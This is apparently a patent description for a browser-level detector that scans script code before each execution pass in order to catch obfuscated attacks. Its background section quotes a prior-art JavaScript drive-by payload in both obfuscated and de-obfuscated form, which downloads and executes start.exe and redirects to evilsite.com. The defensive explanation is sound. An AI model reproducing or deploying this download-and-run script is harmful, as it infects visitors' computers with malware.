Abstract:
Detecting obfuscated attacks on a computer. A first program function is invoked to render static components of a web page and identify program code within the web page or associated file. In response, before executing the identified program code, a malicious-code detector is invoked to scan the identified program code for malicious code. If the malicious-code detector identifies malicious code in the identified program code, the identified program code is not executed. If no malicious code is detected, a second program function generates revised program code from execution of the identified, program code. In response, before executing the revised program code, the malicious-code detector is invoked to scan the revised program code for malicious code. If the malicious-code detector identifies malicious code in the revised program code, the revised program code is not executed.

Description:
FIELD OF THE INVENTION 
     The invention relates generally to computer security, and more specifically to detection of attacks on a computer. 
     BACKGROUND OF THE INVENTION 
     Computers are often subject to attack in various forms. One form of attack is malware such as computer viruses, worms, etc. Another form of attack attempts to exploit a vulnerability in a computer such as denial of service, buffer overflow, etc. Intrusion detection systems (IDSs) are known to identify and block attacks such as malware and attempted exploits based on their signature, patterns of behavior and/or heuristics. (“Heuristics” are a series of conditions which, in combination, indicate a likely attack.) Another form of attack is obfuscated Java script code or Visual Basic script code embedded in an HTML or associated files and targeted at a web browser. Such obfuscated script code is not apparent or operational until executed by a script execution engine in a web browser. Such execution revises the original, non operational, obfuscated script code received from the HTML or associated file into operational (non obfuscated) script code. The known IDS may not detect the attack when obfuscated (because the known IDS scans the code from the HTML or associated files before the code is executed and converted into the revised, operational, non obfuscated, script code). Thus, the known IDS may pass the obfuscated script code to the web browser, and the web browser may convert the original program code into the revised, operational, script code for execution. Such execution may harm the client computer. 
     The following is a known example of an attack using obfuscated Java script code. As illustrated in  FIG. 1  representing the Prior Art, a client computer  20  receives an HTML requested by a user of the client computer. The HTML (or associated files) includes obfuscated, non operational Java script code, such as the following: 
                                                 &lt;html&gt;       &lt;script&gt;       &lt;!--       function f(b, a, c) { return a + b + c; } function g(b, a) { return a + b; } var s = new Array ( ″″,       ″start.exe″, ″http://evilsite.com ″,        ″object″,        ″classid″,        f(″0C0″, g(f(g(″3-11D0-9″, ″56-65A″), ″id:BD96C5″, ″83A-0″), ″cls″), g(″9E36″, ″4FC2″)),       g(f(″ft.XMLH″, ″oso″, ″TTP″), ″Micr″), f(″E″, ″G″, ″T″), f(g(″.Str″, ″odb″), ″Ad″, ″eam″),       f(g(″.She″, ″ipt″), ″WScr″, ″11″), ″PROCESS″, ″TMP″, ″/[{circumflex over ( )}/]*$″, ″/″, ″\\″       );       eval(‘a = document.createElement(s[3]); a.setAttribute(s[4], s[5]); with(a.CreateObject(s[6],       s[0])) { open(s[7], location.href.replace(new RegExp(s[12]), s[13] + s[1]), false); send( );       if(status &lt; 400) with(a.CreateObject(s[8], s[0])) { Type = 1; Open( ); Write(responseBody);                with(a.CreateObject(s[9], s[0])) { c = Environment(s[10])(s[11]) + s[14] + s[1];            SaveToFile(c, 2); Exec(c); } }}location.replace(s[2]);’);       // --&gt;       &lt;/script&gt;       &lt;/html&gt;                    
A known IDS  14  scans the HTML for an attack. However, because of the obfuscation of the JavaScript code, the known IDS does not detect the attack, and invokes a known web browser  28  to process the HTML. The web browser  28  calls a known Document Object Module (“DOM”)  22  in the web browser. In response, a program function  26  within the DOM  22  “renders” static components of the HTML, i.e. converts non-executable portions of the document for display in the client computer. Another program function  27  in the DOM  22  identifies program code in the HTML or associated files and forwards the program code to a Java Script Engine (“JSE”)  24  for an iteration of execution. In the illustrated example, the first iteration of execution of the JavaScript code by the JSE yields the following revised JavaScript code:
 
                                                                 a = document.createElement(″object″);           a.setAttribute(″clsid″, ″XMLHTTP″);           with(a.Createobject(″XMLHTTP″, ″″)           {                open(″GET″, location.href.replace(new RegExp(″/[{circumflex over ( )}/]$″),           ″/start.exe″), false); send( );           if(status &lt; 400)           with(a.CreateObject(″Adodb.Stream″, ″″))           {           Type = 1;           Open( );           Write(responseBody);           with(a.CreateObject(″WScript.Shell″, ″″))           {           c = Environment(″PROCESS″)(″TMP\start.exe″);           SaveToFile(c, 2);           Exec(c);           }                 }           }           location.replace(“http://evilsite.com”);                        
In this example, the revised JavaScript code, when executed, will exploit a vulnerability on the client computer to download and run a malicious program file called “start.exe”. Next, the JSE loops back to its call address to execute the now operational malicious, revised JavaScript code. The execution of the operational, malicious, revised JavaScript code by the JSE  24  results in a successful attack on the client computer.
 
     For some obfuscated Java Script Code, the operational form of the Java Script Code may not result until multiple iterations of processing and execution by the JSE, with each iteration of processing and execution by the JSE revising the Java Script Code one more time. Nevertheless, the operational malicious JavaScript code is ultimately generated and executed and harms the client computer. 
     An object of the present invention is to detect obfuscated malicious code in an HTML and associated files, or the like, and prevent its harmful execution. 
     Another object of the present invention is to detect obfuscated malicious script code in an HTML and associated files, or the like, and prevent its harmful execution. 
     Another object of the present invention is to detect obfuscated malicious code in an HTML and associated files, or the like, and prevent its harmful execution despite multiple iterations of processing and execution required to revise the malicious code into an operational form. 
     SUMMARY OF THE INVENTION 
     The present invention resides in a system, method and program product for detecting an attack on a computer. The computer includes a web browser with a first program function to render static components of a web page and identify program code within the web page or an associated file, and a second program function to execute the program code from the web page or associated file. A representation of the web page is received. The first program function is invoked to render static components of the web page and identify program code within the web page or associated file. In response, before executing the identified program code, a malicious-code detector is invoked to scan the identified program code for malicious code. If the malicious-code detector identifies malicious code in the identified program code, the identified program code is not executed. If the malicious-code detector does not identify any malicious code in the identified program code, the second program function is invoked to execute the identified program code. The second program function generates revised program code from execution of the identified program code. In response, before executing the revised program code, the malicious-code detector is invoked to scan the revised program code for malicious code. If the malicious-code detector identifies malicious code in the revised program code, the revised program code is not executed. If the malicious-code detector does not identify any malicious code in the revised program code, the second program function is invoked to execute the revised program code. 
    
    
     
       BRIEF DESCRIPTION OF THE FIGURES 
         FIG. 1  is a block diagram of a client computer including a web browser according to the Prior Art. 
         FIG. 2  is a block diagram of another client computer including a web browser according to the present invention. 
         FIG. 3  is a block diagram of the web browser of  FIG. 2 , in more detail, according to the present invention. 
         FIG. 4  is a flow chart of the web browser of  FIG. 3 , according to the present invention. 
     
    
    
     DETAILED DESCRIPTION OF THE PREFERRED EMBODIMENTS 
     The present invention will now be described in detail with reference to the figures.  FIG. 2  illustrates a client computer  30  according to the present invention. Client computer  30  is coupled to Internet  50  via a network interface device such as TCP/IP adapter card  32 . Client computer  30  includes a known CPU  33 , operating system  34 , RAM  35  and ROM  36  on a common bus  37 , a storage  38 , a display manager  60  for a monitor  61 , a keyboard  62  and a mouse  63 . Client computer  30  also includes an optional, known intrusion detection system (IDS)  39  and a web browser  40  according to the present invention. Web browser program  40  is stored on disk storage device  38  for execution by processor  33  via Random Access Memory  35 . IDS  39  can be a known Symantec IDS program, ISS Proventia IDS program, or TippingPoint&#39;s IDS program which detects intrusions or attacks based on attack signature, heuristics, etc. However, some types of obfuscated attacks may elude IDS program  39 . 
     As illustrated in  FIG. 3 , web browser  40  includes a Document Object Module (“DOM”)  42  and a program execution engine  44  such as a Java Script Engine (“JSE”), Visual Basic Script Engine, other scripting engine or other type of program execution engine. DOM  42  includes a program function  46  to render static components of an HTML and associated files into a web browser window in display  61 . DOM  42  also includes a program function  47  to identify program code in the HTML and associated files and forward the program code to program execution engine  44 . Program execution engine  44  includes program functions and/or equivalent hardware to execute program code such as Java Script Code, Visual Basic Script code, etc. in an HTML (or other markup language document) and associated files. DOM  42  and program execution engine  44  can be known programs except for inclusion of a program “hook” or jump instruction  50  according to the present invention to jump to a known malicious-code detector  45 . Malicious-code detector can include program functions and/or hardware to detect malicious code based on signature, patterns of behavior, heuristics, etc. 
     In a typical scenario, a user of client computer  30  using web browser  40  requests a web page or other document (by URL, link within an email, link within a web page, or otherwise). In the illustrated example, the request is sent to a known web server  52  which includes a known CPU  53 , operating system  54 , RAM  55  and ROM  56  on a common bus  57 , and a storage  58 , web application  59  and TCP/IP adapter card  51  ( FIG. 2 ). Client computer  30  receives the web page in the form of an HTML (or other document language), via Internet  50  from web server  52  (or other repository). If client computer  30  includes known IDS  39 , then IDS  39  scans the HTML for intrusions, and if it does not detect an intrusion, forwards the HTML or other representation of the web page to web browser  40 . This is step  90  in  FIG. 4  which illustrates the function of web browser  40  in processing the HTML or other representation of the web page and associated files. Next, web browser  40  requests associated files, if any referenced in the HTML, from web servers or other repositories (step  100 ). The HTML and associated files may contain program code or a reference to such program code. By way of example, the program code can be Java Script code or Visual Basic Script code. Upon receipt of the file, the optional IDS  39  scans the files for intrusions, and if it does not detect any intrusion, forwards the file to the web browser  40 . Next, program function  47  in DOM  42  of the web browser  40  separates the static components of the HTML and associated files from the program code (step  101 ) and forwards the static components to rendering function  46  in DOM  42  (step  102 ). The rendering function  46  renders the static components and forwards the rendered static components to display manager  60  for display (step  200 ). Typically, the static components define non changing features, such as non changing text or graphics, of the web page. 
     Next, program function  47  forwards the program code (such as Java Script Code or Visual Basic Script code) from the HTML and associated file to program execution engine  44  (step  103 ). According to the present invention, there is a program hook/jump  50  at the call address of the program execution engine  44  or shortly after the call address, which diverts processing of the program code to malicious-code detector  45  (step  104 ), before execution engine  44  executes the program code. The call to the detector  45  includes the program code or an address of the program code as a parameter of the call. Detector  45  scans the program code (from the HTML and associated files) for malicious code based on signature, heuristics, or other malicious-code detection techniques (step  106 ). However, detector  45  may not detect malicious program code that is still obfuscated. If detector  45  identifies any malicious program code (from the HTML or associated files) (for ex. buffer overflow attack code, memory corruption attack code, logic bugs, code for improper access to files, etc.) (decision  110 , yes branch), detector  45  takes appropriate action such as preventing the malicious code from executing or discarding the entire HTML and associated files (including the malicious code) (step  112 ). If detector  45  does not identify any malicious code in the HTML or associated file (because it is still obfuscated) (decision  110 , no branch), then detector  45  returns to the program step in the program execution engine  44  just after the hooking/jump step  50  to execute the program code (step  114 ). If the program code is operational, the execution of the operational program code may add or alter features the web page as formed from the static components. For example, operational (non malicious) program code when executed may generate a banner or other additional feature to the web page. The execution of the program code may or may not generate revised program code. If the execution of the program code does not generate any revised program code (decision  115 , no branch), then processing is done (state  116 ). However, if execution of the script results in revised program code (decision  115 , yes branch), then execution engine  44  loops back to its call address, i.e. at the beginning of the program execution engine&#39;s program instructions, and then encounters the hook/jump  50  to detector  45  (step  104 ). 
     This begins another iteration of processing of the program code, although during this iteration of processing, the revised program code (not the original program code in the HTML or associated files) is processed. Detector  45  scans the program code (from the HTML and associated files) for malicious code based on signature, heuristics, or other malicious-code detection techniques (step  106 ). If detector  45  identifies any malicious script code or other malicious program code in the revised program code (for ex. buffer overflow attack code, memory corruption attack code, logic bugs, code for improper access to files, etc.) (decision  110 , yes branch), detector  45  takes appropriate action such as preventing the malicious revised program code from executing or discarding the entire HTML and associated files (including the malicious program code) (step  112 ). If detector  45  does not identify any malicious program code in the revised program code (decision  110 , no branch), then detector  45  returns to the program step in the execution engine  44  just after the hooking/jump step  50  to execute the revised program code (step  114 ). If the executed revised program code is operational, the execution of the operational revised program code may add or alter features the web page as formed from the static components (and execution of prior revisions, if any, of the program code). The execution of the revised program code may or may not generate another revision of program code. If the execution of the revised program code does not generate another revision of program code (decision  115 , no branch), then processing is done (state  116 ). However, if execution of the revised program code results in another revision of program code (decision  115 , yes branch), then execution engine  44  loops back to its call address, i.e. at the beginning of the program execution engine&#39;s program instructions, and then encounters the hook/jump  50  to detector  45  (step  104 ). The foregoing steps  104 - 116  repeat for each revision of program code generated by program execution engine  44 . 
     Web browser  40 , including DOM  42 , program execution engine  44  and malicious-code detector  45 , may be installed in client computer  30  from a network download via TCP/IP adapter card  32  or from a computer readable media  68  such as magnetic disk or tape, hard drive, CD ROM, DVD, semiconductor memory, etc., and stored in computer  30  in such a computer readable media. 
     Based on the foregoing, a computer system, method and program product for detecting malicious attacks in obfuscated code have been disclosed. However, numerous modifications and substitutions can be made without deviating from the scope of the present invention. Therefore, the present invention has been disclosed by way of illustration and not limitation, and reference should be made to the following claims to determine the scope of the present invention.